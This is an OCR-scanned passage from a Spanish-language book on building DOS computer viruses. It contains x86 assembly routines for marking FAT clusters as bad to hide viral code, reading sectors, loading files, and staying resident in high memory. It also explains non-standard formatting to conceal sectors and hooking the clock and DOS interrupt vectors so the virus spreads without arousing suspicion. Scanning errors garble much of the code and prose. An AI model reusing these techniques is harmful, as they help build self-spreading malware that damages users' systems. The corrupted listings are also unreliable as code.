:Se salta st no es de 12 bits
JNZ BLP1 HD2

JActualiza el indicador par o impar

NOT WORD PTR [BP+PAR]

TEST WORD PTR [BP+PAR],OFFFH

JNZ BLPI 2 ;No es entrada par

DEC SI ; Se alinea con la entrada impar

:Se halla el valor correcto de la entrada par

AND AX OFFFH

JMP SHORT BLPI HD2
HALLADOIL:

IMP HALLADC
ERROR MC2:

PUSH DS

POP ES

MOV AH 49H

INT 2iH

JMP ERROR_MC
BLP1 2:

,Se halla el valor correcto de la entrada impar.
MOV CLA4
SHR AX.CL

BLPI HD2:

;El valor leido de lz entrada se almacena en la vanable comrespondiente.
MOV WORD PIR [BP+VALENT},AX

:St el valor de la enirada de la FAT no es O finaliza el bucle
TEST AX OFFFH
JNEBLPI FIN

:Se incrementa el contador de clusters consecutivos
INC WORD PTR [BP+CONTCC]

;Se repite el bucle s1 ya habia encontrado algin cluster libre anterior v se sigue
;buscando hasta completar los necesartos.
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TEST WORD PTR [BP+NUM_1CLUST],0FFFH
JNE BUSCAR_LP1

;En caso de que sea el primer cluster hallado, se halla su nimero y se almacena
TEST WORD PTREBP+NUM DRIVE]80H
JNZ BUSCLP_HD3

;81 es FAT de 12 hits el nimero de ¢luster se halla dividiendo por 3 el contador de
;bytes estudiados (SI), multiplicando por 2 y restando 1 en caso de que sea entrada
;impar.
MOV AX,S1
MOV CX,3
XOR DX DX
DIV CX
MOV CX 2
MUL CX
TEST WORD PTR[BP+PAR]OFFFH
JZBLPL 3
DEC AX
JMP BLP! 3
BUSCLP_HD3:

;Si es FAT de 16 bits, el nimero de cluster se halla dividiendo el contador de bytes
;estudiados por 2 v restando 1 al resultado
MOV AX SI
MOV CX2
DIV CX
DEC AX
BLP1 3:

:Se saiva el aumero de cluster en la variable correspondiente
MOV WORD PTR[BPNUM _1CLUSTLAX
JMP BUSCAR 1P1

BLP1 FIN:

;8i el nimero de clusters consecutivos hallados hasta el momento es igual o mayor
;que el cluster necesttado, finalizara el bucle

MOV AX WORD PTR[BP+CONTCC]

CMP AX, WORD PTR[BP+LONGITUD]

JAE HALLADO

:En caso contrario, se vuelve a poner a 0 la variable que indica ei nlimero del pnimer
;cluster hallado y se reiniciard ei bucle.

XOR AX AX

MOV WORD PTR{BP+NUM_1CLUST]AX
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IMP BUSCAR_LP
HALLADO-

:Una vez hallados los clusters necesarios, se marcan como defectuosos.
,Se inicia un bucle de marcado de clusters.
;Un cluster se marca como defectuoso colocando el valor OFF7H (-9} en la entrada
;correspondiente
;El contador de clusters es [bptcontce] y la variable que contiene el némero del
Jprimer cluster a marcar es [bprnum_1clust]
:El bucle finaliza cuando {bp+contec] valga 0
MARCAR _LP.
CMP WORD PTR[BP+CONTCC)0
JBE MARCLP FIN

:Se averigua el offset de la entrada dentro de la FAT

,Para FAT de 12 biis se halla dividiendo por 2 el niimero de cluster, muitiplicando por
;3 el resultado y afladiendo 1 s1 el cluster es impar

MOV AX,WORD PTR[BP+NUM 1CLUST]

ADD AX,WORD PTR [BP+CONTCC(]

SUB AX,1

XOR DX,DX

MOV CX2

TEST WORD PTR [BP+NUM_DRIVE],80H

JNZ MARCLP HD1

DIV CX

TEST DX, 0FFFFH

PUSHF

MOV CX3

MULT CX

MOV DX, 0F000H

MOV BX,0FF7H

POPF

JEMARCLP1

ADD AX,1

MOV DX 0FH

MOV BX,0FF70H
MARCLPI:

MOV SLAX

:Una vez hallado el offset de la posicién de la entrada dentro de la FAT, se coloca el
cvalor

JLOFF7H ((9)

MOV AX,WORD PTR (S}

AND AX DX



OR AX,BX
MOV WORD PTR {SI],AX
JMP SHORT MARCLP2
MARCLP _HD1.

;Para FAT de 106 bits el offset de la entrada se halla multiplicando el nimero de cluster
Lpor 2.

MUL CX
MOV SLAX
MOV DX,0FFF7H
MOV {SI],DX
MARCLP2:

:Se ejecuta de nuevo el bucle, después de decrementar el contador de clusters
DEC WORD PIR [BP+CONTCC]
JMP MARCAR 1P

MARCLP_FIN

:Una vez marcados los clusters, se escribe la FAT modificada.

;Se ha de tener en cuenta el niimeroe de copias de la FAT que existan en ef disco, para
,actualizar la totalidad de eiias.

:Se recupera {a direccion det BOOT.

MOV BX,WORD PTR [BP+BOOT PTR]

,Se obtiene ¢l nimero de copras de la FAT
MOV ALBYTE PTR CS:[BX+NCOP FAT}
CBW

MOV WORD PTR [BP+CONTCC],AX

;Se inicta un bucle de escritura que se repetird por cada copia de fa FAT
WRITEFAT LP:

CMP WORD PTR [BP+CONTCCL0

JBE WRTFLP_FIN

JEl niimero de sectores que ocupa la FAT se encuentra almacenado en
:BP+NSECTFAT
;como resultado de los calculos que se hicieron al comienzo £l sector de comienzo de
;la primera copia de }a FAT coincide con el de sectores reservados al principio
:El sector de comienzo de cada nueva copia se calculara con la siguiente operacion:
;<s ¢.copia n>=<s.¢.copia 1>+{n-1)*<n. sectores FAT>
<n sectores FAT>=[BP+NSECTFAT]
n=[{BP+CONTC(C]
;<s.c copia I>=¢s [BP+NSECT RES]
MOV AX,WORD PTR [BP+NSECTFEAT]
MOV CX,WORD PTR {BP+CONTCC}
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SUB CX, !

MUL CX

MOV BX,WORD PTR [BP+BOOT PTR]
ADD AX.CS [BX+NSECT _RES]

.Se copia la FAT utilizando la terrupcion 26H dei DOS

MOV DX, AX
MOV CX,WORD PTR [BP+NSECTFAT}
XOR BX,BX
MOV AX,WORD PTR [BP+NUM_DRIVE]
INT 26H
;Se repite e} bucle decrementando previamente ef contador de copras
DEC WORD PTR [BP+COTNCC}
IMP WRITEFAT LP
WRTFLP_FIN
;A continuacion se libera memoria reservada para la FAT
PUSH DS
POP ES
MOV AH 45H

INT21H

;Se recupera la direccion de comienzo del BOOT
MOV BX,WORD PTR BP+BOOT PTR]

PUSH CS

POP DS

PUSH CS

POP ES

;Se calcula el mimero de sector de comienzo de la serie de clusters marcados
;<sector comienzo>=(cluster comienzo™>-2)*<n s cluster>+
;<n.sectores reservados>t+<n sectores FAT>*

,<n.sectores Directorio™>

,<cluster comienzo>=[bp+num_Ichust

;<ns. cluster> = [bx+1cluster]

,<n.s. reservados> = {bx+nsect_res]

;<n.s. FAT>=[bx+ifat pir]

<n.copias FAT> = [bx+ncop_fat]

;<n s directorio> = <n.entrada dir.>/(<n.bytes sector>/32}
,<n entradas dir.> = [bx+nent_dir]

,<n.bytes sector> = [bx+1sector]

MOV AX WORD PTR [BP+NUM_1CLUST]

SUB AX,2

XOR CX,CX

MOV CL,BYTE PTR [BX+1CLUSTER]

MUL CX



ADD AX,WORD PTR [BX+NSET RES]
PUSH AX
MOV AX,WORD PTR [BX+1FAT PTR]
MOV CLBYTE PTR [BX+NCOP_FAT]
MUL CX
PUSH AX
MOV AX,WORD PTR [BX+1SECTOR]
MOV CX,32
XOR DX,.DX
DIV CX
MOV CX,AX
MOV AX, WORD PTR [BX+NENT DIR]
DIV CX
JNC SHORT MARC CLUST2
INC AX
MARC CLUST2:
POP CX
ADD AX.CX
POP CX
ADD AX.CX
USH AX
MOV CX, WORD PTR [BP+LONGITUD]
MOV BX,WORD PTR [BP+BOOT PTR]}
XOR AX,AX
MOV AL BYTE PTR [BX+1CLUSTER]
MUL CX
MOV CX,AX
POP AX
;Fintaliza la rutina devolviendo en el registto AX el nimero de sector de comienzo de
Jla zona marcada, y en CX el nimero de sectores teservados
MOV SP.BP
POP BP
MOV Sp.BP
POP BP
CLC
RET
ERROR MC
MOV SP.BP
POP BP
MOV SP,BP
POP BP
MOV AX,0
STC
RET
MARCAR CLUSTER ENDP



74

34272 RUTINA PARA LEER SECTORES

;Esta rutina realiza un iniento de lectura de sectores por tres veces consecutivas. Debe ser
;llamada de la misma forma que se invocara a INT 13H, es decir con los valores de registro
;adecuados

INT_13H PROC
PUSH BP
MOV BP.SP
PUSH AX
MOV AX.3
PUSH AX
MOV AX,[BP-2]
PUSH ES
PUSH DS
PUSH DX
PUSH CX
PUSH BX
PUSH AX
INT13_P:
CMP WORD PTR [BP-4]1,0
JBE INT13 ERR
DEC WORD PTR [BP-4}
MOV ES,[BP-6]
MOV DS, {BP-8]
MOV DX.[BP-10]
MOV CX,[BP-12]
MOV BX,[BP-14]
MOV AX,[BP-16]
INT 13H
JCINTI3 P
MOV SP.BP
POP BP
CLC
RET
INT!3 ERR
MOV SP,BP
POP BP
STC
RET
INT_13H ENDP
MARCFAT ENDS
END



343 OCULTAMIENTO POR TECNICAS DE FORMATEO NO ESTANDAR

Localizar, tamafio y nGmero de sectores dentro de una pista estan bajo control del
software. Las caracteristicas de los sectores de un disco (famafio y nlimero por pista) se
establecen cuando se formatea cada pista Existe una rutina de la BIOS que se puede
utilizar para formatear una pista det disco: el servicio nlimero 5 de la interrupcion nimero
19 {13 en hexadecimal). No es posible fonnatear sectores individuales. A fa rutina se le
pasa come parametro la direccién de un 4rea de memoria que contiene una lista de 4 bytes
por sector, que son las marcas identificadoras de sector, que se utilizard posteriormente
para localizar los scctores en la pista. Estos cuatro bytes son: C (Nimero de cilindro), H
{(Nlmero de cabeza), R (Nimmero de registro 6 sector), N (Numero de bytes por sector).

Cuando se esta leyendo o escribiendo un sector deterininade, Ja rutina de la ROM-
BIOS busca el identificador de sector v, sobre todo, el byte que indica el nimere de sector.
Los valores de C y H sélo se utilizan como comprobacion de seguridad. El valor de N sélo
puede ser uno de los 4 valores estandar: 0 para 128 bytes, i para 256 bytes, 2 para 512
bytes v 3 para 1024 bytes. El orden en el que se escriben los sectores en la pista es el
especificado por los bytes de direccién y no necesariamente han de escribirse de forma
secuencial. Cuando se formatea una pista, fa unidad observa el paso del agujero de indice
para empezar a cscribir sectores en la pista. Este agujero se ignora en las demds
operaciones de lectura o escritura de sectores individuales, vy éstos son localizados por sus
marcas de direccion.

Algunos métodos de proteccién de copia se aprovechan de la particularidad de que
los sectores se localizan por sus marcas de direccion v no por su posicion concreta ¢n la
pista, v de que la mayoria de los sistermas operativos, entre ellos el DOS, solo puedasn leer
sectores formateados de defterminadas formas estindar. Existen cuatro métodos de
ocultamiento.

1} Reordenar los sectores de forma que se altere el tiempo de acceso, para que el
sistema operativo no pueda detectar un sector determnado, pero, en cambio, si
io pueda hacer ¢l esquema de proteccion de copia

2) Comprimir més los sectores dentro de la pista de forma que quepan mas, El
sistema operativo s$6lo leerd los primeros hasta el maximo que tenga estipulado.

3) Colocar en uno de los sectores un néimero de sector fuera del rango que se haya
estipulado.

4) Especificar sectores con tamafio no convencional o con mumeros de C v H
erroneos {€sto provocaré errores de lectura).

3 5. CONTROL DEL SISTEMA

Para poder realizar sus acciones con impunidad, especiaimente la de propagarse a
oiros programas, el parisito necesita, de alguna forma, hacerse con el cosirol de la
maguina, aunque sea de forma momentanea 0 intermitente. La forma en que se va a gjercer
este control nfluye radicalmente en el método clegido para la instalacion y ocultamiento.
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El control lo puede tomar el parasito

a) Inmediatamente antes de a ejecucion de un programa de usuario,

b} A mtervalos cortos, aprovechando el sistema de mnterrupeiones del procesador

Desde el punto de vista de un vinus, lo deseable es actuar ¢l mayor ndmero posible
de veces. Pero eso, si se elige la opcidn a). Es preferible emplear ¢omo huésped un
programa de uso frecuente, por ejemplo el COMMAND.COM.

35 1. CARGA DE UN PROGRAMA EN MEMORIA

En este punto podemos supener dos situaciones diferentes: que todavia no se haya
cargado ¢l 3OS, como por ejemplo sucede cuando el sector O esta contaminado y el cddigo
de éste pretende traer a memoria un programa que contiene una parte del codigo del virus,
o que vya se haya cargado el DOS y ejecutado ¢! IBMBIO COM y el IBMDOS.COM, con lo
que se podra aprovechar las rutinas de manejo y ejecucion de archivos.

En el primer caso, en que todavia no se tenga cargado el DOS, habra que utilizar las
rutinas y las interrupciones de la BIOS. En este caso, se conoce en qué sectores
determmados del disco se encuentra e} archive, y lo Gnico que habré que hacer es teerlos v
almacenarlos en un lugar adecuado de la memoria. Esto es lo que realmente sucede
cuando se lee el sector 0 de un disco. Se utilizara entonces alguna de las rutinas de lectura
de sectores.

Existe en DOS dos tipos de acceso a archivos: Uno que utiliza en todos los accesos
un bloque de conirol FCB, que contiene entre otras cosas el nombre del archivo, v otro que
utiliza informacidn relativa al nombre solo en el momento de la apertura del archivo. En
dicho momento se le asigna un mimero ldgico (file_handie), que es el que se utilizara en
los posteriores accesos al mismo.

Con este método de acceso puede usarse la funcidn 4EH de la interrupcion 21H.
Esta funcion solo existe en las versiones DOS superiores a la 2.0. En la llamada a la
fimcidn, DS:DX ha de apuntar a una cadena con la especificacidn completa del archivo,
unidad, directorio, subdirectorio, nombre y extensién. En el nombre se permite la
utilizacidn de los simbolos “7” y **” En CX s¢ colocan los atributos del archivo. Si es un
archivo normal, sin atributos especiales, el valor que se coloca es 0.

Si el archivo no es encontrado, ia funcidn retornara con un bit de acarreo activo. Si
se encuentra el archivo, se rellenard la DTA (4rea de transferencia de datos) con la
informacién contenida en el directorio. Los primeros 21 byte de la DTA los reserva el DOS
como area de trabajo para busquedas posteriores, el byte 22 es el byte de atribufo, el 23 y
24 contienen la hora, el 25 y 26 la fecha v a continuacion ¢l nombre del archivo en forma
de cadena de longitud variable terminada con un byte 0; este tipo de cadena recibe el
nombre de cadena ASCIIZ.
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Para buscar los restantes archivos que cumplen con la especificacién (dado que se
pueden emplear caracteres comodin en ¢l pombre) se utihza la funcién 4F de la
mnterrupeién 2 1H. Cuando no se encuentran mas archivos, se activa el bit de acarreo.

Lag funciones que permiten abrir, creas, cerrar, leer y escribir archives son
invocadas siempre con DS:DX apuntando a una cadena ASCIZ con ¢! nombre del archivo.
Al finalizar Iz ejecuci6n de las funciones, CF=1 indicara que ha habido error. Ei codige de
error s¢ devolvera en AX. $1 CF=0 la operacion se habra realizado correctamente,

La funcidn Crear es 1a 3CH. Al llamar a esta funcion CL contendra el atributo del
archivo. El file_handle se devuelve en AX. Esta funcién abre para escritura un archivo ya
existente, o crea uno nuevo, si no existe uno con ese nombre. La longitud del archivo se
pone a 0 en cualquiera de los dos casos.

La funcidn Abrir es la 3DH. Al llamar a la funci6n, AL ha de contener un byte que
indica el modo con que se quere trabajar con el archivo,

La funcidn Cerrar es la 3EH Al llamar a la funcion, BX ha de contener &l
file_handle.

La funcién Leer es la 3FH. Al llamar a la funcidn, BX ha de contener ¢l file handle
de! archivo, I?8:DX apuntard a la zona de memoria donde se almacenaran los datos leidos v
CX indicar4 el nimero de bytes que se quiere leer. Al finalizar la rutina, CF activo mdicara
que ha habido error y el registro AX contendra el nimero de bytes realmente leidos. Si éste
es O quiere decir que se ha llegado al final del archivo.

La funcién Escribir es la 40H. Los datos que s¢ han de suministrar a esta funcion
son los mismos que para [a funcion de lectura. La funcion Borrar archivo es 41H.

Parg cambiar la posicion del apuntador a Ia posicién actual del archivo, a partir de
ta cual se leerd o escribita en el mismo, se utiliza la funcion 42H. Al Hamar esta funcidn,
BX contendra ¢l file-handle del archivo, CX:DX es un namero sin signo de 32 bits que
indicara el nimero de bytes a mover el puntero, dependiendo del modo, que se indique en
AL. AL=0 indica que el offset CX:DX se habra de tomar a partir del principio del archivo.
Al=1 indica que el offset habrd de tomarse a pariir de la posicion actual. AL=2 indicara
que el offset habrd de tomarse desde el final actual del archivo. Al finalizar la funcién
DX:AX contendrs ¢! offset actual del puntero desde ¢l comienzo del archivo.

3.5.2 RUTINA DE LECTURA DE UN ARCHIVO Y PONERLO EN MEMORIA

PUSHN BP
MOV BP,SP

JAsignacidn de la DTA



LEA DX, DTA

MOV AH, 1AH

INT ZIH

;Comprobacién de Ja existencia del archivo y obtencidn de su tamafio
MOV DX WORD PTR[{BP+4}
MOV CX,0FH

MOV AR AEH

INT 21H

TEST AX AX

JNE OPEN_ERR

MOV BX,26

LEA SLDTA[BX]

MOV ES,DS

LEA DLTAMANO

MOV CX,4

REP MOVSB

1Abrir el archivo para lectura escritura
MOV DX, WORD PRT[BP+4]
MOV AL2

MOV AH 3DH

INT 21H

Ic OPEN_ERR

LEA BXFILE HNDL

MOV WORD PTR[BX],AX

;Si no hay error al abrir el archive, se lee éste.
;Se reserva espacio en memoria para el archivo

LEA BX, TAMANO
MOV AX,WORD PTR{BX]
MOV DX, WORD PTR[BX+2]
MOV BX,16
DIV BX
TEST DX, DX
JE SIZEIF
INC AX
SIZE1F:
CMP AX 1000H
IGE OPENYE
MOV AX 10004
OPENF:
MOV BX AX

MOV AH 48H
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INT 21H
He OPEN ERR
PUSH

,3e modifica ES para que apunte al segmento de memoria reservado

PUSH AX
POP ES

:Se lee el archivo

LEA BX, TAMANO
MOV AX WORD PTR[BX+2]
PUSH AX
MOV WORD PTR{BX]
PUSH AX
PUSH ES
XOR AX AX
PUSH AX
LEA BX,FILE HNDL
MOV AX_WORD PTR|BX]
PUSH AX
CALL LEER FILE
Ic READ ERR
POP BX
POP AX
POP AX
POP CX
POP DX
POP ES
CLC
LOADF RET:
MOV SP.RP
POP BP
RET 0
OPEN_ERR:
STC
IMP LOADF RET
READ ERR:
MOV AL 49H
INT 211
LEA BX,FILE HNDL
MOV BX, WORD PTR[BX]
MOV AH3FH

INT 21H



IMP OPEN ERR

DTA DB 256 DUP(")
FILE_HNDL DW 7
TAMANO DW 2 DUP(?)

JRutira de lectura: LTEER FILE

LEER _FILE
PUSH BP
MOV BP,SP
PUSH DS
MOV AX WORD PTR{BP+101
MOV DX,WPRD PTR[BP+12]
MOV CX,16
DIV CX
TEST DX, DX
JZ LEERF!
INC AX
LEERFL:
MOV WORD PTRIBP+10],AX
LEERF 1F:
CMP AX,QOFFFII
JLE LEERF P!
MOV AX OFFFH
LEERF 1PL:
SUB WORD PTIR[BP+10},AX
MOV CX,16
ML CX
MOV CX.AX
MOV BX,WORD PTR[BP+4]
MOV DX, WORD PTR[BP+6]
MOV DS, WORD PTR[BP+8]
MOV AH3FH
INT 21H
ic LEERF _ERR
MOV AX WORD PTR[BP+10]
TEST AX,AX
INZ LEERF 1P
CLC
LEERF RET:
POP DS
POP BP
RET

LEERF_ERR:



MOV
STC
IMP

AX.-1

LEERF RET

;Rutina de escritura: ESCR_FILE

ESCR_FILE:
PUSH BP
MOV BP SP
PUSH DS
MOV AX,WORD PTR{BP-+10}
MOV DX, WORD PTR[BP+12]
MOV CX,16
DIV cX
MOV WORD PTR[BP+10},AX
MOV WORD PTR[BP+121,DX
ESCR_1P:
CMP AX,0FFFH
JLE ESCRF_1P2
MOV AX,OFFFH
ESCRF_1Pi:
SUB WORD PTR{BP+10],AX
MUL CX
MOV CX,AX
MOV BX,WORD PTR[BP+4]
MOV DX, WORD PTR[BP+6]
MOV DS, WORD PTR{BP+8]
MOV AHACH
INT 211
Ic ESCRF ERR
MOV AX,WORD PTR{[BP+10]
TEST AXAX
JNZ ESCRE 1P
CLC
ESCRF_RET:
POP DS
POP BP
RET
ESCRF_192:
XOR DX, DX
MOV CX,16
MUL cx
ADD AX,WORD PTR[BP+12]
XOR DX,DX
DIV CX
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IMP ESCRF_1P1
ESCRF_ERR

MOV AX -}

STC

IMP ESCRF RET

35 3. TOMA DE CONTROL ANTES DE LA EJECUCION DE UN PROGRAMA

Los programas parasitos se suelen ocultar en archivos que contienen programas
ejecutables, con objeto de propagarse de un sistema a otro por medio de diskettes.

Si el virus se ha instalado en un archive ejecutable, el cédigo del virus sera
ejecutado antes que el de su programa huésped. El virus puede aprovechar ese momento
para hacer copias de si mismo en otros archivos cjecutables, para realizar alguna accidn
perniciosa, etc Normalmente, el virus aprovechara tambien ese momento para instalarse en
memoria y quedar residente, tomando completo control del sistema operativo. No obstante,
un virus podria operar sin recurrir a esta téenica de 1nstalacion en memoria

3 5.4 PROGRAMAS RESIDENTES EN MEMORIA

Existe una interrupcion det DOS que permite la terminacion de un programa pero
dejéndolo restdente en memoria y evitando por tanio que pueda ser borrado posteriormente
al cargar otro programa (siempre que se utilicen los servicios del DOS, claro esta), 1a
interrupe16n es la nimere 27H. La funcién 31H de la interrupeidén 21H tambien realiza la
misma funcion.

Una vez que el virus esta residente en memoria, v para que el pardsito pueda
gjecutarse a intervalos regulares, necesita ser llamado en algdn momento durante la
gjecucion de otro programa. Lo que se hace para ello es aprovechar la interrupcion
hardware de reloj, que st ejecuta a intervalos muy regulares.

La interrupcién de reloj es utilizada por la PC parg actuahizar la hora del sistema.
Dicha interrupcion se activa varias veces por segundo, o gue quiere decir que varias veces
por segundo se interrumpe el programa que en ese momento se estuviera ejecutando, para
pasar & procesar las instrucciones que componen la rutina de atencidn a la interrupcion,

La computadora posec una tabla en la parte baja de su memoria que le indica la
direccién de memoria donde cada rutina de interrupeion comienza. Por consiguiente, cada
vez que se produce fa interrupcién hardware de reloj, el procesador acude a esa tabla,
extrae de ella la direccion de comienzo de l2 rutina de interrupcion de reloj, v ejecuta dicha
rutina

Lo tnico que ef virus ha de hacer es modificar dicha tabla sustituyendo la direccién
de comienzo de la rutina de reloj, por la direccion de su propio codigo. De esta forma, el



procesador acude a la tabla, extrae de ella la direccidn y pasa el control, erroneamente, al
virus Esto es lo que se Hama “interceptar” una interrupeion.

Por este mecanismo tan simple, e] virus se asegura una constante actividad, que
aprovechara para reproducirse contaminado a otros archivos del sistema.

Logicamente, y para que el usuario ro se dé cuenta de que algo anda mal {por
ejemplo, porque la hora del sistema no se actualiza), una vez ejecutado el codigo del virus,
és1e da un salw a la runna de reloj auzénrica, para que efectile las tAreas que le son propias.

Para que este esquema pueda funcionar, es imprescindible que el virus quede antes
residente en la memoria.

3.5.5 CREACION DE UN SEGMENTOQ RESIDENTE MEDIANTE LA BIOS

En ia mayoria de los casos, los virus suelen dejar su cddigo residente en memoria,
en alguna zona oculta, de forma que puedan ejecutarse de vez en cuando, v realizar con
sigtlo sus acciones destructivas. Existira, por fo tanto, al menos, una parte del cédigo del
virus, Se llama programa residente aguél que permanece en memoria todo el tiempe, ro
solo mientras se estd gjecutando Programas residentes son, por ¢jemplo, el IBMBIO.COM,
el IBMDOS.COM y el COMMAND.COM. Estos programas s¢ Cargan €n inemoria una vez,
al prender la computadora, y permanecen en ella hasta que se apaga el equipo, o sc resetea
el sistema.

Existen dos formas de hacer un programa residente: utilizando el DOS, invocando
ta interrupcion 27H, una vez finalizada la ejecucién de] programa, o bien, sin utilizar el
DQS, colocando el programa (mediante la BIOS) en una zona de memoria que lvego pueda
protegerse y que aparezca como zona de memoria no utilizable. Esta tltima serd la dnica
posible en aguellos virus, como los contaminadores del BOOT, que toma el control de la
computadora antes de cargar el sistema operativo.

Para crear un segmento de céodigo residente desde la BIOS (tnica posibilidad para
los contaminadores del BOOT) habra que buscar una zona adecuada de memonia, ievar alli
¢l programa vy proteger dicha zona de posibles intentos de escrifura.

Generalmente, Ia creacion de este tipe de programas residentes se produce
mmediatamente después de la lectura y ejecucion det BOOT o sector 0, v antes de ia
lectura y comienzo de ejecucion del DOS. En ese momento, la ruting de inicializacidn de la
BIOS habri comprobado la memoria v guardard informacion del tamarfio de la misma en
una variable del sistema almacenada en el segmento 0 de la mermoria.

Dicha variable se encuentira en la posicién 413h. Tiene una longitud de una palabra
(2 bytes) e indica el niimero de kbytes de memoria RAM disponible o utilizable desde ia
posicion § Es decir, nos indica la situacion del final de la memoria RAM en kbytes (6
multiplos de 1024 bytes).



84

Las zonas de memoria que ocupa el sistema para almacenar sus vanables y vectores
de interrupcion, son las sigiientes’

0060 - 007FH Vectores de interrupeidn de ia BIOS

0008 - 017FH Vectores de interrupcidn del DOS

0180 - 03FFH Zona reservada para vectores de mterrupcion de usuano

0400 — 04FFH Area de datos de la BIOS

0500 ~ OSFFH Area de datos del DOS

0600 — Oxsood] Zona de {ongitud variable donde se almacena la parte
residente del DOS

OxxxH+1 — 9FFFFH RAM utilizable por el usuario

AQ0O00 - BFFFFH  Memona de pantalla de video

C0000 — FSFFFH Zona reservada para tarjetas adaptadoras y expansiones
F6000 - FDFFFH  ROM BASIC

FEOOO - FFFFFH ROM BIOS

La zona donde se carga la parte residente del DOS es de longitud variable y se
almacena a partir de la posicidon 600H. Vemos que la mejor zona para almacenar programas

residentes sin utilizar

el DOS es la parte alta de 1a memoria RAM Una vez situado en esta

zona el programa, modificando el valor de tamafio de memoria almacenado en 413H, el
sisterna supondrd que no hay memona RAM uiilizable en la parte alta de la misma v
respetard lo alli almacenado. Sin embargo, nada impide que sea gjecutado ese codigo;
bastara efectuar un salto de programa a dicha zona.

3.5.6 RUTINA DE CREACION DE UN PROGRAMA RESIDENTE SIN UTILIZAR LOS

SERVICIOS DEL DOS
MAKE PRG
XOR AX AX
MOV ES,AX
MOV BX41H :Direccién de la variable, tamafio de memoria
MOV AX,WORD PRT [ES'BX]
PUSH AX
XOR DX, DX
MUL. 1024
POP CX
PUSH DX
PUSH AX
MOV AX,2 ;Numero de sectores gue ocupa el programa
XOR DX, DX
MUL 312 ;Tamafio del sector
DIV 1124



SUB CX AX

MOV WORD PTR [ES:BX],CX
POP BX

POP ES

MOV DLNUMERO_DRIVE
MOV DI NUMERQ CABEZA
MOV CH,NUMERQ_PISTA
MOV CL,NUMERO SECTOR
MOV AL2

MOV AH2

INT 13H

3.5 7RUTINA PARA LA CREACION DE UN PROGRAMA RESIDENTE USANDO
LOS SERVICIOS DEL DOS

En el DOS existe una interrupcion de terminacion de un prograima que permite que
éste se quede residente en memona, respetando todo el espacio que ocupa, desde el origen
de} PSP hasta una direccion especificada cuando se reahza la llamada. La interrupcion es la
27H. Existe tambien una funcidn DOS, mvocable por medio de la interrupcion 21H que

A4TY

cumple e} mismo cometido. Es la funcidn 31H.
Los pasos a seguir son:

1) Cargar del programa. Traer el programa en una zona & la memoria y ejecutar la
rutina de preparacion.

2} Colocacion de la parte residente en una zona adecuada de la memoria,

3} Modificacion de alguno de los vectores de interrupeidn, con objeto de invocar
posteriormente la rutina La funcién 25H de la interrupeidn 21H del DOS realiza
tambien este cometido.

4} Terminacion del programa por medio de la interrupcidn 27H.

3.5.8. MODFICACION DE ALGUNO DE LOS VECTORES DE INTERRUPCION

Independientemente de cual de los dos métodos de dejar residente ef programa se
seleccione, para poder luego activar dicho programa residente deberemos modificar alguno
de los vectores de interrupcion utilizados por el sistema operativo

Se tendra que elegir, por tanto, un nitmero de interrupcion, va sea de la BIOS o del
DOS. Una vez obtenida la direccion donde va a estar almacenada la rutina del virus, se
colocardn los valores correspondientes de IP v CS en el vector elegido. Existen dos
posibilidades en este punto: hacerlo directamente sustituyendo el contenido actual del
vector, cuya direccion serd {<n° vector> X 4] por la direccién de la miting, o bien utilizar la
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funcidn 25H de la interrupcion 21H del DOS; ésto aitimo exige que esté cargado el DOS en
memoria, 1o cual ro siempre €s posible

Para la sustitucion directa seguiriamos los siguientes pasos.
e Calcular la direccion del vector Offset = <n® vector x 4

o Colocar en esa direccién una palabra con el valor del IP correspondiente a la
rutina, es decir, del offset del comienzo de la rutina con respecto al mcio del
segmento, Se ha de colocar el byte menos significativo en primer lugar, segin la
convencién del INTEL 8086

¢ Colocar en la palabra situada a continuacién el valor del CS correspondiente a
la rutina, que es ef nimero de parrafo del comienzo del segmento.

S:1 tenemos el DOS cargado en memoria, puede aprovecharse la funcién 25H de la
interrupcion 21H para realizar este proceso. La llamada a esta funcion requiere que en
DS:DX se contenga la direceidn de la rutina que va a manejar la interrupcion y en AL el
nimero de interrupcion,

3.59. RUTINA DE MODIFICACION DE UN VECTOR DE INTERRUPCION SIN
UTILIZAR LOS SERVICIOS DEL DOS

;51 1o se utilizan los servicios del DOS se puede hacer de la siguienie manera.

;Se salva el valor actual de ES, que va a ser modificado, para recuperarlo al final.
PUSH ES

:Caicular direccidn del vector

MOV AX NUMINT ;Numero de vector
MUL 4

MOV DLAX

SUB AX AX

MOV ES.AX ;Segmento del vector

;Al colocar la direccion de rutina en el vector se suspenden las interrupciones para
evitar ;que sea ;invocada la interrupcién mientras sé esta modificando el vector.

CLI

MOV AX,OFFSET RUTINA
MOV WORD PTR ES:[DIJ,AX
MOV AX,SEGMENT RUTINA
MOV WORD PTR ES:[DI+2],AX
STI

;Recuperar el valor modificado de ES
POP ES
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3510 RUTINA DE MODIFICACION DE UN VECTOR DE INTERRUPCION
UTILIZANDO LOS SERVICIOS DEL DOS

,La interrupcion 21H del DOS tiene una funcidn, la 25H, que permite la
modificacién de un vector de interrupcidn

;La funcién 35H pernute la lectura de un vector de interrupeion

:Se lee en primer lugar el vector originai para poder restaurarlo posteriormente si es

TNECEsano

MOV ALNUMINT

MOV AH,35

INT 21H

MOV CS:JOLDINT},BX  ,EI valor del vector
MOV CS:[OLDINT+2],ES ;se devuelve en ES:BX
PUSH CS

POP DS

MOV DX, OFFSET RUTINA

MOV ALNUMINT

MOV AH,25H

INT 2iH

La activacion de la rutina debe hacerse con la suficiente frecuencia como para
cumplir eficazmente con su tarea de propagacion, pero tambien con la suficiente discrecion
como para evitar ser descubierto. Las interrupciones mas frecuentes interceptadas por los
virus existenites son, por consiguiente, fas de reloj (8h) v las del DOS (21h). Esto garantiza
una frecuencia de activacion mas que suficiente y permite simultanear el proceso de
reproduccion con los accesos legitimos a disco, de forma que no se levanten sospechas.

3.6. EJECUCION SIMULTANEA Y REPETIDA JUNTO CON EL PROGRAMA DEL
USUARIO.

En el caso de interceptar la rutina de reloj, se tiene asegurada la activacién
periddica del virus, dado que la interrupcidn de reloy se produce una vez cada 55 mseg, de
forma constante,

De esa forma, el virus garantiza la ejecucion de su cddigo. Al final de la rutina del
virus que intercepta la interrupeion 8H se incluye siempre una llamada a la anténtica rutina
de reloj, de forma que todo en el sistema siga funcionando como debe,

Existe otra interrupcién que tambien se ejecuta de manera periodica con cada tic del
reloj, que es la 1CH. Basta modificar la direccion contenida en este vector y no hay que
preocuparse de incluir instrucciones para gjecutar la interrupcion 8H, pues ya que se
gjecuta con amteriondad. En realidad, es la propia rutia de la interrupeion 8H la que llama
2 fa interrupcion 1CH La mutinag debe finalizar con la instruccion IRET (retormo de
interrupcién).
